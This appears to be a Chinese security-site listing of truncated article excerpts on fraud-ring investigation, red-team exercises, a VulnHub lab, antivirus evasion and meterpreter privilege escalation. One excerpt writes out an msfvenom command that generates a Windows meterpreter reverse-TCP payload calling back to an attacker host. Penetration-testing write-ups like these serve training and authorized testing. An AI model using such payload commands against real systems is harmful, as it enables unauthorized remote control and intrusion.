本文转载自公众号：信息安全老骆驼作者：信息安全老骆驼9月9日，我在经历了与一个专业黑产团伙的几天对抗之后，新建了“信息安全老骆驼”这个微信公众号，根据自己搜集整理分析的结果...

背景某年的某个夏天，某单位需要做攻防演练，而且是全仿真的演练，只有客户名，没有任何资产信息。时间紧，任务重，于是我们兵分两路，一波人在远程从外围突破，我和另一个小伙则踏上了旅途...

本文转载自公众号：信息安全老骆驼作者：信息安全老骆驼近日，由于家人一部手机被盗，自己经历一场与一伙专业老练的利用窃取个人信息盗取他人银行账户资金的犯罪团伙的持续斗争，把这...

0x01 下载下载地址：https://www.vulnhub.com/entry/blackrose-1,509/由于国外访问较慢，这里下载后的文件已经传到了网盘网盘链接：https://pan.baidu.com/s/1FGc7RPXnerkcydqN9i...

0x01 环境搭建测试系统:windows10 (1909)杀毒软件：360安全卫士在线杀毒：VT0x02 payload生成msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.129 LPORT=7777 -...

1、前言在一次测试中，通过rce漏洞获得了目标主机meterpreter会话，尝试进行一些提权实验。过程中两台机子都不通外网，本文记录一下获得会话并提权过程。2、获取msf会话生成一个e...